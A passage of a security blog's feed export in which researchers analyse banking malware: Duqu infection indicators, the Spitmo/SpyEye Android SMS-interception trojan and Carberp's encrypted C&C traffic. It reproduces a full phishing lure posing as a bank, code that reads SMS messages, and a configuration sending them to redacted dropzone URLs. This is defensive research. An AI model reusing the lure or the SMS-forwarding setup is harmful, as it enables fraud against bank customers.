lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Infostealer&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(79, 129, 189); border-width: medium medium 1pt; padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;c9a31ea148232b201fe7cb7db5c75f5e&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(79, 129, 189); border-width: medium medium 1pt; padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Dropper&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(79, 129, 189); border-width: medium medium 1pt; padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt; &lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu drivers have also been detected using the following file names which were not included in the Symantec report:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;nfrd965.sys&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;adpu321.sys&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;The driver load is performed by adding some of the following keys to the Windows registry:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cmi4432&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The detection of these entries in the registry of a Windows system is a clear indication that the machine is infected by Duqu.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-style: italic;"&gt;S21sec e-crime team&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/uiTB04yYSiw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/4789850294741238837/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=4789850294741238837" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4789850294741238837?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4789850294741238837?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/uiTB04yYSiw/duqu-new-threat.html" title="DUQU: A new threat" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-w1NcyTpucSw/TqVwncgPAWI/AAAAAAAAAzg/zOcQMxhGrT0/s72-c/image002.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/10/duqu-new-threat.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEDSXY8cSp7ImA9WhdVFkw.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-6370774716419705033</id><published>2011-09-21T06:42:00.001-07:00</published><updated>2011-09-21T06:44:38.879-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-21T06:44:38.879-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="spitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="spyeye" /><title>Spitmo control panel</title><content type="html">&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Last week, we &lt;a href="http://securityblog.s21sec.com/2011/09/spyeye-and-man-in-mobile.html"&gt;analysed&lt;/a&gt; the behaviour of the mobile module used by &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Spyeye&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; to redirect the victim’s SMSs to the attacker. We have now observed that a panel is used to receive the data collected by the &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;malware&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt;, where all received messages are recovered in a simple and clear manner. &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The panel that we have located is written entirely in Russian, and has only one button, to refresh the displayed data. It is very simple and its purpose is only to display the data quickly. It is important to mention that on the same &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;host&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; where the panel was housed there was also a &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;SpyEye&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; panel. The two did not appear to be related to each other, but the &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;malware&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; used that same URL as a &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;dropzone&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt;. &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Below you can see a simulated request, showing the behaviour of the panel and the information it would display:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-FLwr6zBwXdU/TnjE5q6BbPI/AAAAAAAAAzA/g2t9A43eOlc/s1600/panel.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 201px;" src="http://2.bp.blogspot.com/-FLwr6zBwXdU/TnjE5q6BbPI/AAAAAAAAAzA/g2t9A43eOlc/s400/panel.png" alt="" id="BLOGGER_PHOTO_ID_5654485827212897522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The process would be as follows, the attacker performs a transfer using the banking data stolen from the user infected with the &lt;/span&gt;&lt;a href="http://securityblog.s21sec.com/2011/09/spyeye-and-man-in-mobile.html"&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Spitmo&lt;/i&gt;&lt;/span&gt;&lt;/a&gt;&lt;span lang="en-GB"&gt;. The moment that the Bank performs a check to see that the transaction is valid it sends an SMS to the mobile phone of the infected user. This SMS is intercepted by &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;malware&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; and forwarded to the panel. Almost instantly, the attacker is in possession of a valid token to carry out the transaction.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The process can be carried out without raising suspicion as it is completely transparent to the user.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;All this raises doubts about how safe we are using a device that is continually interacting with the internet and over which we do not have full control of what it is doing in every moment.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Juan Carlos Montes&lt;br /&gt;S21sec e-crime&lt;/i&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/mDW151NCGlQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/6370774716419705033/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=6370774716419705033" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6370774716419705033?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6370774716419705033?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/mDW151NCGlQ/spitmo-control-panel.html" title="Spitmo control panel" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-FLwr6zBwXdU/TnjE5q6BbPI/AAAAAAAAAzA/g2t9A43eOlc/s72-c/panel.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/09/spitmo-control-panel.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8MQ3wzcSp7ImA9WhdVFkw.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-2933401430718096082</id><published>2011-09-16T05:18:00.000-07:00</published><updated>2011-09-21T06:48:02.289-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-21T06:48:02.289-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="spitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="spyeye" /><title>SpyEye and Man in the Mobile</title><content type="html">On the 2nd of September, the S21sec e-crime team detected a &lt;i&gt;Spyeye&lt;/i&gt; sample actively using a &lt;a send="true" href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;MitMo&lt;/a&gt; type fraud scheme against Smartphones with the Android Operating System. The binary does show any noteworthy improvement, but the novelty lies in the injection employed to persuade the victim to install the malicious application on their mobile:&lt;br /&gt;(Translated from Spanish)&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;With regard to the numerous cases of mobile phone card cloning and theft of money from our clients’ accounts, we are obliged to inform and protect all our clients from this.&lt;br /&gt;&lt;br /&gt;To fight against this, we have developed an application that protects your telephone from SMS interception and completely guarantees the security of your mobile telephone. The application functions only on mobile telephones that use the Android platform. The holders of these telephones can now set up the application and have problem free access to their account through Internet banking. Users who do not have mobile phones which work on the Android platform, will be forced to buy them for problem free account access and protection from scammers. Until the application is activated on your mobile telephone, you will not be able to access the account through Internet banking.&lt;br /&gt;&lt;br /&gt;It is inconvenient, but it is the only way to permit your money to be kept securely. We understand that not everyone has a telephone based on Android, but only this platform is capable of providing the necessary security against this type of fraud. As soon as you have bought a phone that uses the Android platform, return, once again, into your internet banking to download and activate the application on your phone. After this, access to the account via the Internet will be completely unblocked and you will be able to use it.&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;&lt;br /&gt;- Important! The telephone number tied to your account (updated for SMS and signatures) must be used on your Android mobile. It is necessary to insert your mobile phone card into the phone that uses Android.&lt;br /&gt;&lt;br /&gt;- Telephones based on Android are sold by all mobile telephone sellers in your country. Any model will suffice.&lt;br /&gt;&lt;br /&gt;If you have an Android phone or you have bought one already, we ask that you proceed to installing the application on your mobile phone.&lt;br /&gt;&lt;br /&gt;We are concerned about your security.&lt;br /&gt;&lt;br /&gt;Kind Regards.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Application setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To set up the application and the security for Internet banking usage, you have to open the browser on your Android mobile phone.&lt;br /&gt;&lt;br /&gt;To install the application you must connect to the Internet. If you do not know how to configure the Internet on your phone, please contact your cell phone operator.&lt;br /&gt;&lt;br /&gt;1. In your browser’s address bar, enter the following reference to download the application www.##########dad.com/simseg.apk&lt;br /&gt;&lt;br /&gt;2. After downloading the application, an arrow should appear pointing downwards in the upper left hand corner of the screen.&lt;br /&gt;&lt;br /&gt;3. Open the Warnings after pulling the menu down and start up the application.&lt;br /&gt;&lt;br /&gt;4. Once the application is running, press Install. That’s it! The application has been successfully installed on your mobile phone!&lt;br /&gt;&lt;br /&gt;5. Now you still need to authorise the telephone in your bank’s security system.&lt;br /&gt;&lt;br /&gt;Enter the number 325000 and press call. A 6 digit code should appear on the phone screen.&lt;br /&gt;&lt;br /&gt;Type those digits into the field below and that ends the process of activating the application.&lt;br /&gt;&lt;br /&gt;The generated code:  &lt;input id="codigo_generado" name="codigo_generado" maxlength="6" size="6" title="El               código generado" type="text"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As you will appreciate, this time they persuade the victim to visit a link from their mobile phone, to request a 6 digit number provided by the malicious application, to simulate associating the phone to the bank account. In reality, it is a false number that appears hard coded in the source code.&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;if (!paramIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL"))&lt;br /&gt;return;&lt;br /&gt;if (!paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER").equals("325000"))&lt;br /&gt;return;&lt;br /&gt;Toast.makeText(paramContext, "251340", 0).show();&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Subsequently, in communications with the dropzone, it sends the telephone’s &lt;a href="http://en.wikipedia.org/wiki/MSISDN"&gt;MSISDN&lt;/a&gt; number. They do not associate the infection of the mobile device with the victim’s PC.&lt;br /&gt;&lt;br /&gt;The main function of the malicious application resides in capturing the incoming and outgoing SMSs to then forward them to the attacker. The victim does not receive the SMS messages and they are forwarded directly to the fraudster. Given that there is no association with the previous infection of the PC and/or the victim’s account, it is assumed that previously obtained credentials (through the Trojan) are used to make a fraudulent transfer and receive the mobile token that is immediately forwarded to the victim’s device.&lt;br /&gt;&lt;br /&gt;The permissions sought by the &lt;i&gt;Manifest&lt;/i&gt; file at application installation time are as follows:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-b1MBWXOUFx8/TnImGsrpXwI/AAAAAAAAAyo/cx6MhPVTUxE/s1600/android_captura2-1.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 223px; height: 219px;" src="http://4.bp.blogspot.com/-b1MBWXOUFx8/TnImGsrpXwI/AAAAAAAAAyo/cx6MhPVTUxE/s400/android_captura2-1.jpg" alt="" id="BLOGGER_PHOTO_ID_5652622378818690818" border="0" /&gt;&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;The application is installed as &lt;i&gt;System&lt;/i&gt; and is not visible alongside other applications and, although visible in a list of them, would not be easily detected due to the choice of icon and cryptic name:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-P9oJbe6WAqE/TnImSo_9ACI/AAAAAAAAAyw/RfELrvJMfMI/s1600/android_captura1.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 239px; height: 400px;" src="http://4.bp.blogspot.com/-P9oJbe6WAqE/TnImSo_9ACI/AAAAAAAAAyw/RfELrvJMfMI/s400/android_captura1.jpg" alt="" id="BLOGGER_PHOTO_ID_5652622583988551714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It has a configuration file called &lt;i&gt;settings.xml&lt;/i&gt; as shown below:&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;br /&gt;&amp;lt;settings&amp;gt;&lt;br /&gt;&amp;lt;send value="1"/&amp;gt;&lt;br /&gt;&amp;lt;telephone value="123"/&amp;gt;&lt;br /&gt;&amp;lt;http&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######af.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######2.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######fsaf.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;addr value="http://######fsaffa.com/sms/gate.php"/&amp;gt;&lt;br /&gt;&amp;lt;/http&amp;gt;&lt;br /&gt;&amp;lt;tels&amp;gt;&lt;br /&gt;&amp;lt;/tels&amp;gt;&lt;br /&gt;&amp;lt;/settings&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt; &lt;ul&gt;&lt;li&gt;&lt;b&gt;send&lt;/b&gt;: this value indicates whether information will be transmitted via sending to a &lt;i&gt;dropzone&lt;/i&gt;, sending an SMS or both (by default configured to send by HTTP GET)&lt;/li&gt;&lt;li&gt; &lt;b&gt;telephone&lt;/b&gt;: The destination telephone number (by default fictitious)&lt;/li&gt;&lt;li&gt; &lt;b&gt;http&lt;/b&gt;: Addresses where the results are sent. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In addition, for sending by HTTP, a string is prepared and sent to the &lt;a href="http://securityblog.s21sec.com/2011/09/spitmo-control-panel.html"&gt;&lt;span style="font-style: italic;"&gt;dropzones&lt;/span&gt;&lt;/a&gt; in the following format:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;i&gt;dropzone/gate.php?sender=&amp;amp;receiver=&amp;amp;text=&lt;/i&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;        &lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();&lt;br /&gt;str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();&lt;br /&gt;str3 = arrayOfSmsMessage[0].getMessageBody();&lt;br /&gt;if (this.numbers.size() != 0)&lt;br /&gt;continue;&lt;br /&gt;performAction(str2, str1, str3);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-kdF3rSM9CRU/TnImbxpEx_I/AAAAAAAAAy4/wVj4XVES1ck/s1600/coso_android_captura.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 587px; height: 9px;" src="http://4.bp.blogspot.com/-kdF3rSM9CRU/TnImbxpEx_I/AAAAAAAAAy4/wVj4XVES1ck/s400/coso_android_captura.png" alt="" id="BLOGGER_PHOTO_ID_5652622740927334386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Once sent, the application receives the responses from the server, but does not process them, so we do not believe that the dropzones communicate directly with the application.&lt;br /&gt;Finally, the sending of the SMS from the victim’s phone would be done using the following format: &lt;i&gt;sms_dir_origen :         sms_body&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;S21sec has already taken the appropriate measures to close down the malicious site&lt;i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;Ismael García &amp;amp; Santiago Vicente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/feEWYsvcSoE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/2933401430718096082/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=2933401430718096082" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2933401430718096082?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2933401430718096082?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/feEWYsvcSoE/spyeye-and-man-in-mobile.html" title="SpyEye and Man in the Mobile" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-b1MBWXOUFx8/TnImGsrpXwI/AAAAAAAAAyo/cx6MhPVTUxE/s72-c/android_captura2-1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/09/spyeye-and-man-in-mobile.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYHRnc6fyp7ImA9WhNWGEk.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-7630744034825758581</id><published>2011-07-12T10:10:00.000-07:00</published><updated>2012-12-18T08:28:57.917-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-18T08:28:57.917-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="carberp trojan reversing" /><title>Decrypting Carberp C&amp;C communication</title><content type="html">&lt;div style="text-align: justify;"&gt;
Carberp is a recently (2010) discovered banking Trojan. Although it is not as well known as the currently dominating banking Trojans, such as ZeuS or SpyEye, we can’t simply ignore it due to its powerful capabilities, which may lead it to greater success in the future. The main characteristics of Carberp are:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;It comes with three plugins: MiniAV, StopAV and Passw. MiniAV is a generic mini-antivirus which was designed to kill specific trojans or other uncategorized possibly malicious applications that had been heuristically considered as malware. It includes a disinfection mechanism against ZeuS, Adrenalin, Limbo, Barracuda and BlackEnergy. That a malicious application would contain a built-in mini antivirus is not something new, we have seen it before with Tatanga as well. The plugin StopAV’s purpose is to take out (kill) various antivirus products, meanwhile the plugin Passw contains password stealing functionality for various applications (ftp, pop3, passwords from Window registry…).&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;It has a very sophisticated installation mechanism which includes remote code injection into the default webbrowser and svchost.exe, and contains a payload which tries to exploit a vulnerability in the operating system (MS08-025). This executes code in the kernel which restores various system hooks used by security applications, thereby concealing the Trojan.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;Together with backdoor functionality and HTML injection it is able to perform Man-in-the-Browser type attacks against the victims.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style="text-align: justify;"&gt;
Recent variants of Carberp encrypt communication with the C&amp;amp;C, which makes further observation and monitorization of the trojan a more complex task. A Wireshark extension, customized for this purpose, would come in very handy. You can download it from &lt;a href="http://www.s21sec.com/phocadownload/descargas/carberp-wireshark-plugin.zip"&gt;here&lt;/a&gt; together with an example .pcap file, source code also included (however it was probed with 32bit version of Wireshark only).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5628447552307050658" src="http://2.bp.blogspot.com/-0_VuDy-zmBA/ThxDOmAtuKI/AAAAAAAAAxQ/Qk6MENj95zk/s400/ws_carberp1.png" style="cursor: pointer; display: block; height: 159px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 400px;" /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
In the above example we can see the plugin in action as the Trojan received an "updateconfig" command from its C&amp;amp;C server. The installation of the plugin is simple; we just have to put it into the "plugins" directory inside Wireshark’s folder. To verify that the plugin is loaded correctly, we have to check that it appears in the list, in the menu Analyze/Enabled Protocols:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5628447775945274130" src="http://3.bp.blogspot.com/-xxpKGy4JPhE/ThxDbnIOMxI/AAAAAAAAAxY/YUkpv-7OcxA/s400/ws_carberp2.png" style="cursor: pointer; display: block; height: 259px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 400px;" /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="color: #0000ee;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
There is one more thing to look at that we have not mentioned yet, the algorithm that Carberp uses to encrypt its traffic:&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;POST /clssvoarsm.phtm HTTP/1.1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Accept: */*&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span class="Apple-style-span" style="font-family: 'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
